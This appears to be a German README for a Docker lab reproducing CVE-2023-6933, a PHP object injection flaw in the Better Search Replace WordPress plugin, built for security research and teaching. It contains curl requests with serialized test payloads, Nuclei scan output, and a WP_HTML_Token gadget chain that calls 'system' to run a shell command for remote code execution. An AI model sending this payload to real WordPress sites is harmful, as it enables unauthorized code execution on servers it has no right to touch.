
Praktisches Labor für CVE-2023-6933, eine PHP-Objektinjektions-Schwachstelle im Better Search Replace WordPress-Plugin, mit Docker-Bereitstellung, Nuclei-Template und Exploit-Skripten für Sicherheitsforschung und Bildung.
Diese Laborumgebung demonstriert CVE-2023-6933, eine kritische PHP-Object-Injection-Schwachstelle im WordPress-Plugin Better Search Replace in Versionen ≤1.4.4.
/wp-admin/admin-ajax.php mit der Aktion search_replace_db# Repository klonen
git clone https://github.com/Trex96/vulnerable-bsr-lab-CVE-2023-6933.git
cd vulnerable-bsr-lab-CVE-2023-6933
# Bereitstellung mit Docker-Hub-Image (automatischer Pull)
docker-compose up -d
Das Labor wird automatisch:
trex999/vulnerable-bsr-lab:latest)# Automatisierten POC ausführen
nuclei -t nuclei-templates/cve-2023-6933.yaml -target http://localhost:8080 -v
# Manueller Test per curl
curl -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d 'action=search_replace_db&search_for=O:8:"stdClass":1:{s:6:"marker";s:34:"nuclei_test_payload_demonstration";}&replace_with=test'
Das Plugin Better Search Replace enthält eine PHP-Object-Injection-Schwachstelle in seinem AJAX-Handler. Die Schwachstelle tritt auf, wenn:
search_for an /wp-admin/admin-ajax.php übergeben werdensearch_replace_db gesetzt istUnsere Nuclei-Vorlage demonstriert die Schwachstelle über mehrere Verifikationsstufen:
Die Nuclei-Vorlage (nuclei-templates/cve-2023-6933.yaml) ist professionell strukturiert:
$ nuclei -t nuclei-templates/cve-2023-6933.yaml -target http://localhost:8080 -v
[CVE-2023-6933:plugin_version] [http] [critical] http://localhost:8080/wp-content/plugins/better-search-replace/README.txt ["trunk"]
[CVE-2023-6933:tested_up_to] [http] [critical] http://localhost:8080/wp-content/plugins/better-search-replace/README.txt ["6.4"]
[CVE-2023-6933:response_content] [http] [critical] http://localhost:8080/wp-admin/admin-ajax.php ["0"]
[CVE-2023-6933:poc_verification] [http] [critical] http://localhost:8080/wp-admin/admin-ajax.php ["0"]
[INF] Scan completed in 67ms. 4 matches found.
Der POC bestätigt erfolgreich:
⚠️ WARNUNG: Diese Umgebung enthält absichtlich verwundbare Software. Nur in isolierten Testumgebungen verwenden. Nicht in Produktions- oder internetzugänglichen Systemen bereitstellen.
docker-compose down -v
Erstellt für Bildungs- und Sicherheitsforschungszwecke
Docker_LAB_SETUP/)cve_2023_6933_exploit.php – Umfassendes PHP-Exploitation-Toolkitwp_html_token_poc.php – WordPress-6.4.0+-RCE-Demonstrationbsr_direct_exploit.php – Direkter Schwachstellentestnuclei-templates/cve-2023-6933.yaml – Erweiterte Nuclei-Vorlagemanual-test.sh – Umfassendes manuelles TestskriptDieses Labor demonstriert die nicht fehlerbasierte Erkennung gemäß den Best Practices der Schwachstellenforschung:
Anstatt sich auf HTTP-500-Fehler zu verlassen, erkennen unsere Tools:
Nutzung der WP_HTML_Token-Klasse von WordPress 6.4.0+ für echte RCE:
O:13:"WP_HTML_Token":4:{
s:13:"bookmark_name";s:14:"touch /tmp/rce";
s:9:"node_name";s:8:"testnode";
s:21:"has_self_closing_flag";b:0;
s:10:"on_destroy";s:6:"system";
}
admin-ajax.php)# Grundlegende Plugin-Präsenz testen
curl "http://localhost:8080/wp-content/plugins/better-search-replace/readme.txt"
# Schwachstelle mit sicherer Payload testen
curl -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
-d "action=bsr_search_replace&search_for=O:8:\"stdClass\":1:{s:4:\"test\";s:8:\"nuclei\";}&replace_with=safe&select_tables[]=wp_posts&dry_run=1"
| Dienst | URL | Zugangsdaten |
|---|---|---|
| WordPress | http://localhost:8080 | admin/admin |
| phpMyAdmin | http://localhost:8081 | root/rootpassword |